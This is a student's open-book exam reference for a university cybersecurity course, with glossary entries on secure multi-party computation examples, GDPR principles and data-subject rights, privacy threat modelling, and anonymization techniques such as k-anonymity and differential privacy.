The IACR is the International Association for Cryptologic Research, a major professional association for cryptography research. It supports conferences, publications, and recognition of contributions to cryptology.

WHY it matters: IACR is part of the academic and professional ecosystem where cryptographic algorithms, protocols, attacks, and proofs are presented and reviewed. Cryptography relies heavily on open expert scrutiny, not secrecy of algorithms.

Connection: the course mentions Ivan Damgaard and Lars Knudsen as IACR Fellows. That signals recognized contributions to cryptologic research and helps connect course names to the broader research community.

Matching / AND Protocol (MPC example)

The matching example models two private preferences as bits a and b . If both parties like each other, $a \text{ AND } b = 1$; otherwise the result is 0. MPC can compute this AND result without revealing each party's raw preference beyond what the output logically implies.

WHY it matters: it is a simple example of private joint computation. The useful result is whether there is a match, not the full private preference of each person. It makes the meaning of secure computation intuitive.

Connection: the course notes an important limitation: if the result is 0 and Bob knows his own input is 1, then Bob can infer Alice's input was 0. MPC prevents learning more than the result and one's own input imply; it cannot prevent information that is mathematically implied by the output.

Secure XOR Protocol (MPC example)

A secure XOR protocol lets parties compute the XOR of secret-shared bits without revealing the original bits. In Boolean sharing, this is especially simple: each party XORs its local shares, and the resulting shares reconstruct the XOR of the underlying secrets.

WHY it matters: XOR is the easy case that helps explain why some operations are cheap in MPC. No heavy cryptography is needed for local linear operations on shares. The challenge begins with nonlinear operations such as AND or multiplication.

Connection: secure XOR belongs with Boolean sharing. The course summary says Boolean sharing makes XOR trivial and Beaver triples enable AND/multiplication. This contrast is one of the most useful short answers for MPC exam questions.

Salary Comparison / Set Intersection (MPC motivations)

Salary comparison and set intersection are practical motivations for MPC. In salary comparison, two parties want to know which salary is larger without revealing exact salaries. In set intersection, two organizations want to learn common elements between private lists without revealing the entire lists.

WHY it matters: these examples show why privacy during computation matters. A hospital and police department may want to check whether a suspect appears in a hospital list without revealing all patients or all suspects. Companies may want fraud or risk analysis without exposing customer databases to each other.

Connection: both examples fit the general MPC promise: compute a chosen function over private inputs while revealing only the result. They also show the limits: the result itself can reveal sensitive facts, so the function choice, authorization, logging, and legal basis still matter.

■ PRIVACY & DATA PROTECTION

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Section purpose: Broad definitions for Ctrl+F exam use. Each term explains the meaning, why it matters, and how it connects to GDPR, privacy engineering, anonymization, pseudonymization, and cybersecurity controls.

Privacy

Privacy is the ability of a person or group to control access to themselves, their spaces, their behaviour, their communications, and information about them. In cybersecurity, privacy is not only secrecy. It includes whether data is collected at all, whether people understand the collection, whether data is used for the promised purpose, and whether people can exercise rights over it.

WHY it matters: A system can be technically secure and still privacy-invasive. For example, an encrypted database may protect confidentiality, but if the organization collected unnecessary location histories and uses them for unexpected profiling, the privacy problem remains.

Connection: Privacy overlaps with confidentiality but is broader. Confidentiality asks who can see data; privacy asks whether the data should exist, why it is processed, whether the person has control, and whether processing is fair, lawful, transparent, and proportionate.

Data Protection

Data Protection is the legal, organizational, and technical discipline of protecting personal data from unlawful processing, misuse, loss, disclosure, alteration, or destruction. In the EU context it is strongly associated with GDPR, but the concept is broader than one regulation.

WHY it matters: Personal data represents people, not just records. Data protection therefore combines security controls such as encryption and access control with governance duties such as lawful basis, purpose limitation, data-subject rights, records of processing, DPIAs, processor contracts, and breach notification.

Connection: Cybersecurity is one tool inside data protection. GDPR Article 32 makes security a legal requirement by demanding appropriate technical and organizational measures, including pseudonymization, encryption, resilience, and regular testing.

Informational Self-Determination

Informational Self-Determination is the idea that individuals should have meaningful control over the disclosure and use of information about themselves. It is a foundational privacy principle behind modern data-protection law: people should not become transparent objects of observation without knowledge, choice, or limits.

WHY it matters: The harm of data misuse is not only financial. Uncontrolled profiling, surveillance, and inference can affect autonomy, dignity, democratic participation, employment, insurance, and freedom of expression.

Connection: GDPR data-subject rights operationalize informational self-determination. Rights such as access, rectification, erasure, objection, portability, withdrawal of consent, and limits on automated decision-making give individuals tools to influence how their personal data is used.

GDPR (General Data Protection Regulation)

The GDPR, Regulation (EU) 2016/679, is the European Union's central data-protection regulation. It has applied since 25 May 2018 and governs how personal data is collected, used, stored, shared, secured, and transferred in the EU/EEA context. It can also apply to organizations outside the EU/EEA when they offer goods or services to people in the EU/EEA or monitor their behaviour.

WHY it matters for cybersecurity: GDPR turns privacy and security into enforceable legal obligations. Article 32 requires appropriate technical and organizational security measures. Article 33 requires certain personal-data breaches to be notified to the supervisory authority without undue delay and, where feasible, within 72 hours. Article 35 requires DPIAs for high-risk processing.

Connection: GDPR connects directly to CIA: Article 5(1)(f) requires integrity and confidentiality, Article 32 mentions confidentiality, integrity, availability, and resilience, and breach response links privacy law to incident response. The course uses GDPR as the main legal framework for privacy and data protection.

Personal Data (GDPR Article 4(1))

Personal Data means any information relating to an identified or identifiable natural person, called the data subject. A person can be identified directly, such as by name or ID number, or indirectly, such as by location data, online identifiers, device identifiers, combinations of attributes, or other factors specific to that person.

WHY it matters: GDPR applies only when personal data is involved. The definition is intentionally broad, so many technical identifiers can be personal data: IP addresses, cookies, mobile advertising IDs, account IDs, device fingerprints, logs, and pseudonymous tokens may all qualify if they can relate to a person.

Connection: Personal data is broader than PII in many security contexts. A single data item may not identify someone alone, but it can become personal data when combined with other data or when the controller has reasonable means to link it to a person.

Processing (GDPR Article 4(2))

Processing means almost any operation performed on personal data, whether automated or not. It includes collection, recording, organization, structuring, storage, adaptation, retrieval, consultation, use, disclosure, transmission, dissemination, alignment, combination, restriction, erasure, and destruction.

WHY it matters: GDPR is triggered far earlier than many people think. Merely storing logs, collecting an email address, viewing a customer record, backing up a database, sharing data with a vendor, or deleting records is processing.

Connection: Because processing is so broad, organizations need a lawful basis, purpose, retention rule, security control, and rights-handling process for the full data lifecycle, not only for obvious analytics or marketing use.

Sensitive Personal Data (GDPR Article 9)

Sensitive Personal Data is usually called special category data in GDPR. It includes personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, trade-union membership, genetic data, biometric data used for unique identification, health data, and data concerning sex life or sexual orientation.

WHY it matters: Article 9 starts from a prohibition: processing special category data is prohibited unless a specific exception applies, such as explicit consent, employment/social-security obligations, vital interests, nonprofit legitimate activities, data made public by the person, legal claims, substantial public interest, healthcare, public health, or research safeguards.

Connection: Sensitive data usually requires stronger security, stricter access control, shorter retention, a clearer necessity argument, and often a DPIA. Health records, biometric authentication templates, and political-profiling datasets are exam-relevant examples.

Data Controller

A Data Controller is the natural or legal person, public authority, agency, or body that determines the purposes and means of processing personal data. In plain terms, the controller decides why the data is processed and the essential way it is processed.

WHY it matters: Controllers carry primary responsibility for GDPR compliance. They must choose a lawful basis, define purposes, provide transparency, support data-subject rights, select appropriate processors, implement security, and demonstrate accountability.

Connection: A university deciding to process student records is a controller. A cloud provider storing those records on the university's instructions is usually a processor. The distinction is about decision-making power, not who physically holds the server.

Data Processor

A Data Processor processes personal data on behalf of a controller and under the controller's instructions. A processor does not decide the independent purpose of the processing; it provides a service such as hosting, payroll processing, email delivery, analytics infrastructure, or support-ticket management.

WHY it matters: Processors still have important GDPR duties. They must provide sufficient guarantees, implement security, keep data confidential, assist the controller with rights requests and breaches, use sub-processors only under agreed conditions, and process data under a contract meeting Article 28 requirements.

Connection: Processor status does not remove cybersecurity responsibility. A processor that suffers a breach may trigger notification duties to the controller and may be liable for failing to implement required security measures.

Joint Controller

Joint Controllers are two or more controllers that jointly determine the purposes and means of processing. They do not need to have equal power; the key is that they participate together in deciding why and how the processing takes place.

WHY it matters: Joint controllers must transparently allocate GDPR responsibilities between them, especially who provides information to data subjects and who handles rights requests. Data subjects can still exercise rights against each controller.

Connection: Joint controllership often appears in shared platforms, research collaborations, combined marketing campaigns, or integrated services where both parties shape the processing purpose rather than one merely following instructions as a processor.

Extraterritoriality (GDPR)

Extraterritoriality means GDPR can apply beyond the physical territory of the EU/EEA. Article 3 extends GDPR to non-EU organizations when they offer goods or services to people in the EU/EEA or monitor their behaviour within the EU/EEA.

WHY it matters: A company cannot avoid GDPR simply by hosting servers outside Europe or being incorporated elsewhere. If it targets EU users, ships to them, uses EU languages/currencies in a targeted way, or tracks their behaviour for profiling or advertising, GDPR may apply.

Connection: Extraterritoriality links to international data transfers. A non-EU organization may be subject to GDPR and still need a valid transfer mechanism when EU personal data is moved to a third country.

International Data Transfer

An International Data Transfer is the movement or remote accessibility of personal data from the EU/EEA to a third country or international organization. Transfers can occur through cloud hosting, outsourced support, remote administration, backups, SaaS tools, analytics providers, or group-company access.

WHY it matters: GDPR restricts transfers because data-subject protection should not disappear when data leaves the EU/EEA. Organizations need a valid mechanism such as an adequacy decision,

Standard Contractual Clauses, Binding Corporate Rules, derogations for specific situations, and in many cases transfer-risk assessments and supplementary measures.

Connection: Encryption and pseudonymization can be supplementary transfer safeguards. The transfer question is separate from ordinary security: even if a transfer is secure in transit, it still needs a lawful transfer basis.

Adequate Protection Level

Adequate Protection Level means a third country, territory, sector, or international organization provides personal-data protection essentially equivalent to the EU standard. The European Commission can adopt an adequacy decision allowing personal data to flow there without additional transfer tools.

WHY it matters: Adequacy simplifies international transfers. Without adequacy, organizations usually need contractual and technical safeguards, and must consider whether foreign law or government access could undermine protection.

Connection: Adequacy is not the same as perfect security. It is a legal assessment of the overall protection environment. It sits alongside technical controls such as encryption, access control, and data minimization.

DPA (Data Protection Authority)

A DPA, or supervisory authority, is an independent public authority responsible for enforcing data-protection law. DPAs investigate complaints, issue guidance, conduct audits, order corrective measures, and impose administrative fines.

WHY it matters: DPAs make GDPR operational. They are the authority that receives many breach notifications, handles data-subject complaints, and can require organizations to stop processing, delete data, change practices, or pay fines.

Connection: DPAs cooperate across the EU through consistency mechanisms and the EDPB. For Denmark, the DPA is Datatilsynet.

EDPB (European Data Protection Board)

The EDPB is the European Data Protection Board, an independent EU body made up of representatives of national data-protection authorities and the European Data Protection Supervisor. It promotes consistent application of GDPR across the EU/EEA.

WHY it matters: GDPR is enforced nationally but must remain coherent across Europe. The EDPB issues guidelines, recommendations, binding decisions in certain cross-border disputes, and opinions on major data-protection questions.

Connection: The EDPB is important when a topic is cross-border, controversial, or technically complex, such as international transfers, consent, legitimate interests, breach notification, anonymization, AI, and online tracking.

Datatilsynet (Danish DPA)

Datatilsynet is the Danish Data Protection Authority. It supervises compliance with data-protection law in Denmark, handles complaints, provides guidance, conducts inspections, and can take enforcement action.

WHY it matters for the course: In a Danish university context, Datatilsynet is the concrete national authority behind GDPR enforcement. Breach-notification and compliance examples in Denmark should be understood through this institution.

Connection: Datatilsynet is part of the wider European supervisory-authority system and contributes to cooperation through the EDPB for cross-border processing.

Lawfulness of Processing

Lawfulness of Processing means personal data may be processed only when there is a valid legal basis and the processing complies with GDPR principles. It is not enough that processing is useful, technically possible, or beneficial to the organization.

WHY it matters: Unlawful processing can make the entire data activity illegal even if security is strong. For example, encrypting an unlawfully collected dataset does not fix the absence of a lawful basis.

Connection: Lawfulness is one of the Article 5 principles and is operationalized through the six Article 6 legal bases. Special category data additionally needs an Article 9 exception.

Six Legal Bases for Processing (GDPR Article 6): Consent, Contract, Legal Obligation, Vital Interests, Public Interests, Legitimate Interests

GDPR Article 6 provides six legal bases for processing. Consent: the data subject freely gives a specific, informed, unambiguous agreement. Contract: processing is necessary to perform a contract or pre-contract steps requested by the person. Legal obligation: processing is necessary to comply with a legal duty. Vital interests: processing is necessary to protect someone's life or serious health interest. Public interest/official authority: processing is necessary for a public task or official authority. Legitimate interests: processing is necessary for the controller's or a third party's legitimate interest, unless overridden by the data subject's rights and interests.

WHY it matters: A controller must identify the legal basis before processing, not afterwards. The legal basis affects rights: for example, withdrawal applies to consent, portability often relates to consent or contract, and objection is especially relevant for legitimate interests and public tasks.

Connection: Consent is not always the best legal basis. In employment, public authority, essential services, or strong imbalance situations, consent may not be freely given. Legitimate interests requires a balancing test; special category data still needs Article 9 support.

Seven Principles of Processing (GDPR Article 5): Lawful/fair/transparent, Purpose limitation, Data minimization, Accuracy, Storage limitation, Integrity and confidentiality, Accountability

GDPR Article 5 sets the core processing principles. Personal data must be processed lawfully, fairly, and transparently; collected for specified, explicit, legitimate purposes; limited to what is necessary; accurate and kept up to date; kept only as long as necessary; protected with appropriate integrity and confidentiality; and handled under controller accountability.

WHY it matters: These principles are the exam backbone of GDPR. They apply across the lifecycle and are broader than security controls. A system can fail GDPR by collecting too much data, keeping it too long, using it for a new purpose, or failing to document decisions, even without a breach.

Connection: Data minimization, purpose limitation, storage limitation, privacy-by-design, DPIA, and PETs are practical ways to implement Article 5. Integrity and confidentiality connect directly to cybersecurity and the CIA triad.

Data Minimization

Data Minimization means collecting and processing only the personal data that is adequate, relevant, and limited to what is necessary for the specified purpose. It is not simply compressing data or deleting fields randomly; it is purpose-driven necessity.

WHY it matters: Data that is never collected cannot be breached, misused, subpoenaed, or re-identified. Minimization reduces attack surface, compliance burden, storage cost, and privacy harm.

Connection: Privacy-by-Design and PETs often implement minimization through local processing, aggregation, selective disclosure, anonymization, short retention, and attribute-based proofs instead of full identity disclosure.

Purpose Limitation

Purpose Limitation means personal data must be collected for specified, explicit, and legitimate purposes and not further processed in a manner incompatible with those purposes. The controller must be clear about why data is collected.

WHY it matters: Purpose creep is a common privacy failure. Data collected for account security should not automatically be reused for advertising, profiling, employee monitoring, or research unless compatible or supported by a new lawful basis and transparency.

Connection: Purpose limitation works with data minimization and storage limitation. You cannot know what data is necessary or how long to keep it unless the purpose is defined.

Accountability

Accountability means the controller is responsible for complying with GDPR and must be able to demonstrate compliance. It is not enough to say that processing is lawful; the organization must be able to show decisions, controls, contracts, assessments, and governance.

WHY it matters: Open-book exam questions often ask not only what the rule is but how an organization proves it followed the rule. Accountability requires documentation, records of processing, DPIAs where needed, policies, training, audits, vendor management, and incident-response evidence.

Connection: Accountability is the principle that turns privacy from intention into evidence. It supports DPO work, DPIAs, breach records, privacy policies, processor contracts, and privacy-by-design documentation.

Privacy-by-Design

Privacy-by-Design means privacy is built into systems, processes, and organizational decisions from the earliest design stages rather than added after deployment. The concept was introduced by Ann Cavoukian and is reflected in GDPR Article 25 as data protection by design and by default.

WHY it matters: Retrofitting privacy is difficult. Once a system has collected unnecessary data, created broad logs, exposed identifiers, or trained models on personal data, later fixes are expensive and incomplete.

Connection: Privacy-by-Design includes privacy-as-default, data minimization, purpose limitation, security, transparency, user control, and full lifecycle protection. It is the privacy equivalent of Secure-by-Design.

Privacy-by-Architecture

Privacy-by-Architecture means implementing privacy through the technical structure of the system. Instead of relying only on policy promises, the architecture itself reduces or prevents privacy risk.

WHY it matters: Technical architecture can make misuse difficult or impossible. Examples include local computation instead of central collection, client-side filtering, separation of identifiers from content, zero-knowledge proofs, differential privacy, encryption, secure multi-party computation, and access-control boundaries.

Connection: Privacy-by-Architecture is stronger than paperwork alone. It is closely related to PETs and is the engineering layer of Privacy-by-Design.

Privacy-by-Policy

Privacy-by-Policy means implementing privacy through rules, procedures, notices, contracts, training, governance, and organizational controls. It tells people and organizations what they may and may not do with data.

WHY it matters: Policy is necessary because not every privacy issue can be solved technically. Organizations need roles, responsibilities, retention schedules, breach procedures, data-sharing agreements, acceptable-use rules, and employee training.

Connection: Policy is weaker if the architecture contradicts it. Good privacy programs combine Privacy-by-Policy with Privacy-by-Architecture: legal promises, organizational discipline, and technical enforcement should support each other.

Privacy Enhancing Technologies (PETs)

Privacy Enhancing Technologies are technical methods that reduce privacy risk while still allowing useful processing. PETs include anonymization, pseudonymization, encryption, secure multi-party computation, differential privacy, federated learning, zero-knowledge proofs, mix networks, access controls, and local processing.

WHY it matters: PETs help reconcile utility and privacy. They can reduce collection, hide identities, limit inference, protect data during computation, or allow statistics without exposing individual records.

Connection: PETs do not automatically make processing lawful. They are safeguards that support GDPR principles such as data minimization, integrity/confidentiality, purpose limitation, and accountability.

Data Protection Officer (DPO)

A Data Protection Officer is an independent data-protection role required in certain cases, especially for public authorities, large-scale systematic monitoring, or large-scale processing of special category or criminal-offence data. The DPO informs and advises, monitors compliance, advises on DPIAs, cooperates with the DPA, and acts as a contact point.

WHY it matters: The DPO is a governance mechanism. The role helps ensure privacy expertise is present in decisions, especially where processing is high-risk or institutionally important.

Connection: The DPO is not the person who magically makes processing compliant. Controllers and processors remain responsible. The DPO must be independent, sufficiently resourced, and not punished for performing the role.

Data Protection Impact Assessment (DPIA) - GDPR Article 35

A DPIA is a structured assessment required when processing is likely to result in high risk to individuals' rights and freedoms. It describes the processing, assesses necessity and proportionality, identifies risks, and defines measures to address them.

WHY it matters: DPIAs force privacy risk to be considered before deployment. They are especially relevant for systematic monitoring, large-scale sensitive data, profiling, automated decisions, new technologies, surveillance, biometric systems, and processing involving vulnerable people.

Connection: DPIA is the operational tool for Privacy-by-Design and accountability. If high risk remains despite safeguards, the controller may need to consult the supervisory authority before processing.

Data Breach Notification - 72-hour rule (GDPR Article 33)

A personal-data breach is a security breach leading to accidental or unlawful destruction, loss, alteration, unauthorized disclosure of, or access to personal data. Article 33 requires the controller to notify the supervisory authority without undue delay and, where feasible, within 72 hours after becoming aware of a breach, unless the breach is unlikely to result in risk to individuals.

WHY it matters: Breach notification creates a strong link between incident response and privacy law. Organizations need detection, triage, evidence, risk assessment, communication channels, and internal escalation before a breach happens.

Connection: Processors must notify controllers without undue delay after becoming aware of a breach. Article 34 separately covers communication to affected individuals when the breach is likely to result in high risk.

Privacy Policies

A Privacy Policy is a public-facing notice explaining how an organization collects, uses, shares, stores, protects, and deletes personal data, and how individuals can exercise their rights. Under GDPR, transparency information must be concise, intelligible, easily accessible, and written in clear language.

WHY it matters: Privacy policies are the main transparency interface between the organization and data subjects. They should not be generic legal camouflage; they should explain real processing purposes, legal bases, recipients, retention, transfers, rights, and contact details.

Connection: A privacy policy does not itself make processing lawful. It supports transparency, but lawful basis, purpose limitation, minimization, security, and accountability still need to exist in practice.

Personally Identifiable Information (PII)

PII is a common security and privacy term for information that can identify a person directly or indirectly. Examples include names, addresses, national ID numbers, email addresses, phone numbers, IP addresses, device identifiers, biometric identifiers, and combinations of quasi-identifiers.

WHY it matters: PII is the type of data attackers often seek and defenders must protect. Loss of PII can enable identity theft, phishing, stalking, discrimination, account takeover, and regulatory consequences.

Connection: PII is not identical to GDPR personal data. GDPR personal data is usually broader and includes any information relating to an identified or identifiable natural person, including online identifiers and pseudonymous data where linkage is possible.

Consent (must be informed)

Consent under GDPR must be freely given, specific, informed, and unambiguous. For special category data, explicit consent may be required. Consent must be an active choice, not silence, pre-ticked boxes, bundled terms, or vague acceptance of unknown future uses.

WHY it matters: Bad consent is a common compliance failure. If a person is not told what data is processed, by whom, for what purpose, and with what consequences, the consent is not meaningfully informed.

Connection: Consent must be withdrawable as easily as it was given. Withdrawal does not automatically erase past lawful processing, but it stops future processing based on consent unless another lawful basis applies.

Right to be Informed (R1)

The Right to be Informed means data subjects must receive clear information about processing of their personal data. This includes the controller's identity, purposes, legal bases, recipients, retention, rights, transfers, and other transparency details.

WHY it matters: People cannot exercise control over data they do not know is being processed. Transparency is therefore the entry point for most other rights.

Connection: Privacy policies, just-in-time notices, cookie notices, and layered notices are ways to implement this right. The right connects directly to the Article 5 principle of lawfulness, fairness, and transparency.

Right of Access (R2)

The Right of Access lets a data subject ask whether their personal data is being processed and obtain access to that data plus important information about the processing. It helps the person understand what the organization holds about them.

WHY it matters: Access is often the first step before rectification, erasure, objection, or complaint. It can reveal inaccurate data, hidden profiling, excessive retention, or unexpected sharing.

Connection: Organizations need identity verification before releasing data, because giving access to the wrong person becomes a confidentiality breach.

Right to Rectification (R3)

The Right to Rectification lets individuals have inaccurate personal data corrected and incomplete data completed, depending on the purpose of processing.

WHY it matters: Inaccurate data can cause real harm: wrong credit decisions, incorrect health records, mistaken disciplinary actions, false fraud flags, or bad automated decisions.

Connection: Rectification supports the Article 5 accuracy principle. Systems should have workflows for correcting not only the main database but also downstream copies, recipients, and derived records where appropriate.

Right to Erasure / Right to be Forgotten (R4)

The Right to Erasure allows a data subject to request deletion of personal data in certain circumstances, such as when data is no longer necessary, consent is withdrawn, processing is unlawful, or the person successfully objects.

WHY it matters: Erasure is a practical expression of data minimization and storage limitation. People should not remain permanently tied to unnecessary or unlawfully processed data.

Connection: The right is not absolute. Data may be retained where necessary for legal obligations, public interest, legal claims, freedom of expression, or certain research/statistical purposes with safeguards.

Right to Cancel Consent (R5)

The Right to Cancel Consent means a person can withdraw consent at any time where consent is the lawful basis for processing. Withdrawal must be as easy as giving consent.

WHY it matters: Consent is meaningful only if people can change their mind. Designs that make withdrawal hidden, difficult, or punitive undermine valid consent.

Connection: After withdrawal, the controller must stop processing based on consent unless another lawful basis applies. Withdrawal does not automatically make earlier processing unlawful if the original consent was valid.

Right to Place Restrictions (R6)

The Right to Restriction of Processing lets a data subject limit how their personal data is used in certain situations, for example while accuracy is contested, when processing is unlawful but the person wants restriction instead of erasure, or while an objection is being assessed.

WHY it matters: Restriction is a temporary or partial control. It preserves data while preventing ordinary use, which can be important when deletion would harm evidence or when a dispute is unresolved.

Connection: Technically, restriction may be implemented by flags, access controls, moving data to a separate system, or blocking automated use. The system must make the restriction effective, not merely document it.

Right to Object Processing (R7)

The Right to Object allows a person to object to processing based on public task or legitimate interests, including profiling based on those grounds. For direct marketing, the right to object is especially strong: processing for direct marketing must stop.

WHY it matters: Objection gives individuals a way to challenge processing even when the controller does not rely on consent. It is important for profiling, tracking, analytics, advertising, and public-interest processing with individual impact.

Connection: When legitimate interests is used, the controller may need to show compelling legitimate grounds that override the individual's interests, rights, and freedoms, unless the objection concerns direct marketing.

Right to Data Portability (R8)

The Right to Data Portability allows a person to receive personal data they provided to a controller in a structured, commonly used, machine-readable format, and to transmit it to another controller where processing is based on consent or contract and carried out by automated means.

WHY it matters: Portability reduces lock-in and supports user autonomy. Examples include exporting account data, playlists, fitness logs, or transaction histories to another service.

Connection: Portability is not the same as access. Access is broader as a transparency right; portability focuses on reusable machine-readable transfer of data provided by the person under certain lawful bases.

Right to Individual Decision-Making / not subject to automated decision (R9)

This right concerns decisions based solely on automated processing, including profiling, that produce legal effects or similarly significant effects on a person. In many cases, such decisions are restricted unless supported by contract necessity, law, or explicit consent with safeguards.

WHY it matters: Automated decisions can scale unfairness, discrimination, and opacity. Examples include automated loan rejection, recruitment filtering, insurance pricing, fraud blocking, or welfare eligibility decisions.

Connection: Safeguards may include human intervention, the ability to express a viewpoint, contest the decision, and receive meaningful information about the logic involved. This connects privacy to AI governance and fairness.

Right to be Informed About Data Breaches (R10)

When a personal-data breach is likely to result in high risk to individuals' rights and freedoms, the controller must communicate the breach to affected data subjects without undue delay. The notice should describe the nature of the breach, likely consequences, measures taken, and recommended protective steps.

WHY it matters: Individuals may need to act quickly after a breach: change passwords, monitor accounts, freeze credit, avoid phishing, replace documents, or take personal safety measures.

Connection: This right is linked to Article 34 and differs from Article 33 notification to the DPA. The DPA notification threshold is risk; the individual notification threshold is high risk.

LINDDUN Framework: Linkability, Identifiability, Non-repudiation, Detectability, Disclosure, Unawareness

LINDDUN is a privacy threat-modeling framework. Its major threat categories are Linkability, Identifiability, Non-repudiation, Detectability, Disclosure of information, Unawareness, and Non-compliance. The list in the course highlights the privacy threats most relevant to identifying and reasoning about privacy weaknesses.

WHY it matters: STRIDE is useful for security threats; LINDDUN is privacy-focused. It helps designers ask privacy-specific questions such as: Can actions be linked? Can a person be identified? Can participation be detected? Does the person understand what happens? Is too much information disclosed?

Connection: LINDDUN maps naturally to PETs. Linkability and identifiability can be reduced with pseudonyms, aggregation, anonymization, and unlinkable credentials; disclosure can be reduced with encryption and access control; unawareness can be reduced with transparency and consent design.

Anonymization

Anonymization is the process of transforming data so individuals are no longer identifiable by any party using reasonably available means. Properly anonymized data falls outside GDPR because it no longer relates to an identified or identifiable natural person.

WHY it matters: Anonymization can enable analytics, publication, research, and sharing with much lower privacy risk. But weak anonymization is dangerous because re-identification can expose people while creating false confidence.

Connection: Anonymization is stronger than pseudonymization. Techniques include aggregation, generalization/re-coding, suppression, permutation, noise addition, k-anonymity, l-diversity, t-closeness, and differential privacy. The key exam warning: anonymization must be robust against singling out, linkability, and inference.

Pseudonymization

Pseudonymization means processing personal data so it can no longer be attributed to a specific data subject without additional information, provided that the additional information is kept separately and protected. Examples include replacing names with IDs, tokens, hashes, or encrypted identifiers.

WHY it matters: Pseudonymization reduces risk because ordinary users or analysts may not see direct identities. It can limit breach impact and support data minimization.

Connection: Pseudonymized data is still personal data under GDPR if re-linking is possible. The mapping table, key, or token vault is highly sensitive. Pseudonymization is a safeguard, not an escape from GDPR.

De-identification

De-identification is a broad term for removing, masking, transforming, or separating identifiers so that data is less directly tied to individuals. It can include pseudonymization, anonymization, aggregation, redaction, masking, and generalization.

WHY it matters: The term is useful but imprecise. A dataset can be de-identified in the sense that direct identifiers are removed while still being re-identifiable through quasi-identifiers.

Connection: In exam answers, distinguish de-identification from true anonymization. Removing names is not enough if gender, date of birth, postal code, rare diagnosis, and timestamps can single someone out.

Singling Out

Singling Out is the ability to isolate records belonging to one individual in a dataset, even if the person's name is not known. A unique combination of attributes can make one person stand out.

WHY it matters: Singling out is a re-identification risk. If a record is unique, an attacker may track, profile, or link it to external information even without immediate identity.

Connection: k-anonymity directly addresses singling out by requiring each released combination of quasi-identifiers to correspond to at least k individuals.

Linkability (re-identification risk)

Linkability is the ability to connect two or more records, actions, sessions, or datasets as belonging to the same person, even without knowing the person's real identity.

WHY it matters: Linkability allows profiling over time. A stable pseudonymous ID, cookie, device fingerprint, or repeated rare pattern can let an observer build a detailed behavioural profile.

Connection: Linkability is both a LINDDUN threat and an anonymization failure mode. PETs such as rotating identifiers, mix networks, aggregation, and unlinkable credentials are designed to reduce it.

Inference (re-identification risk)

Inference is the ability to learn new sensitive information about a person from data that does not explicitly state it. It may occur through correlations, background knowledge, machine learning, or combination with external datasets.

WHY it matters: Removing direct identifiers does not remove all privacy risk. A dataset may reveal a person's disease, political views, location, income, or identity through patterns.

Connection: l-diversity and t-closeness were developed because k-anonymity alone can fail when sensitive attributes within an anonymity group are too homogeneous or skewed.

k-Anonymity

k-Anonymity is an anonymization property requiring each released record to be indistinguishable from at least k-1 other records with respect to selected quasi-identifiers. In a 5-anonymous dataset, every combination of quasi-identifiers appears in at least five records.

WHY it matters: k-anonymity reduces singling out. If age, postal code, and gender are generalized so each combination has at least k people, an attacker cannot isolate a unique person using only those quasi-identifiers.

Connection: k-anonymity does not solve all privacy risk. It can fail through homogeneity attacks and background-knowledge attacks, which is why l-diversity and t-closeness add protections for sensitive attribute distribution.

l-Diversity

l-Diversity strengthens k-anonymity by requiring each equivalence class to contain at least l well-represented values for the sensitive attribute. The goal is to prevent all records in a group from revealing the same sensitive value.

WHY it matters: Suppose a 10-anonymous group contains ten people but all have the same diagnosis. Even without knowing which row is the target, the attacker learns the diagnosis. l-diversity addresses this homogeneity problem.

Connection: l-diversity improves privacy but can still fail when sensitive values are semantically similar or when the group's distribution differs strongly from the overall dataset. t-closeness addresses that distribution problem.

t-Closeness

t-Closeness requires the distribution of a sensitive attribute within each equivalence class to be close to the distribution in the overall dataset, within a threshold t. It limits how much an attacker can learn from knowing the group a person belongs to.

WHY it matters: Even if a group has multiple sensitive values, the group may still reveal increased probability of a sensitive condition. t-closeness reduces attribute-disclosure risk by controlling distributional distance.

Connection: k-anonymity addresses singling out; l-diversity addresses lack of variety; t-closeness addresses distributional inference. They are increasingly strict but can reduce data utility.

Aggregation (anonymization technique)

Aggregation replaces individual-level data with group-level summaries such as counts, averages, totals, percentages, or histograms. Instead of publishing each person's location, a system may publish the number of users in each area.

WHY it matters: Aggregation reduces the visibility of individual records and is useful for reporting, dashboards, and statistics.

Connection: Aggregation can still leak information when groups are small, when differencing attacks compare multiple releases, or when outliers dominate. Differential privacy is often used to make aggregate releases safer.

Re-coding (anonymization technique)

Re-coding, also called generalization, replaces precise values with broader categories. Examples: exact age becomes age range, full postal code becomes region, exact timestamp becomes day or month, and job title becomes occupational category.

WHY it matters: Re-coding reduces uniqueness in quasi-identifiers and helps achieve k-anonymity.

Connection: Re-coding trades privacy for utility. Too little generalization leaves re-identification risk; too much destroys analytical value. It is often combined with suppression, aggregation, and k-anonymity checks.

Permutation (anonymization technique)

Permutation protects privacy by shuffling values of an attribute between records so that statistical distributions remain similar while the link between a person and a specific sensitive value is disrupted.

WHY it matters: It can preserve useful aggregate patterns while reducing record-level disclosure.

Connection: Permutation must be used carefully because correlations between attributes may be broken or, if not broken enough, may still allow reconstruction. It is usually discussed with other anonymization/randomization techniques.

Randomization / Noise Addition (anonymization technique)

Randomization or noise addition modifies data by adding random variation. For example, exact salaries, locations, counts, or timestamps may be perturbed so the published value is close enough for analysis but not exact for individuals.

WHY it matters: Noise reduces confidence in individual-level inference and can protect aggregate statistics from exact reconstruction.

Connection: Differential privacy is a formal, mathematically defined version of noise-based privacy. Basic noise addition without a privacy budget may not provide strong guarantees.

Differential Privacy

Differential Privacy is a formal privacy model that limits how much the output of an analysis changes when any one individual's data is added or removed. Informally, the result should reveal almost the same thing whether a particular person is in the dataset or not.

WHY it matters: It provides a mathematical way to publish useful statistics while bounding individual privacy leakage. It is especially important for repeated aggregate queries, telemetry, census data, and machine-learning analytics.

Connection: Differential privacy usually works by adding calibrated random noise, often Laplace or Gaussian noise, controlled by a privacy budget such as epsilon. It protects outputs, not raw databases by default.

Gaussian Noise

Gaussian Noise is random noise drawn from a normal distribution. In privacy-preserving analysis it is often added to query results, gradients, or model updates to obscure the contribution of any one individual.

WHY it matters: Gaussian noise is widely used in approximate differential privacy and machine-learning settings because many statistical processes naturally use normal distributions.

Connection: The amount of Gaussian noise must be calibrated to the sensitivity of the query and the privacy parameters. Adding arbitrary Gaussian noise is not automatically differential privacy.

Laplace Noise

Laplace Noise is random noise drawn from a Laplace distribution. It is commonly used in the classic Laplace mechanism for differential privacy, especially for numeric query results with known sensitivity.

WHY it matters: Laplace noise can hide the effect of a single person's data while keeping aggregate results useful.

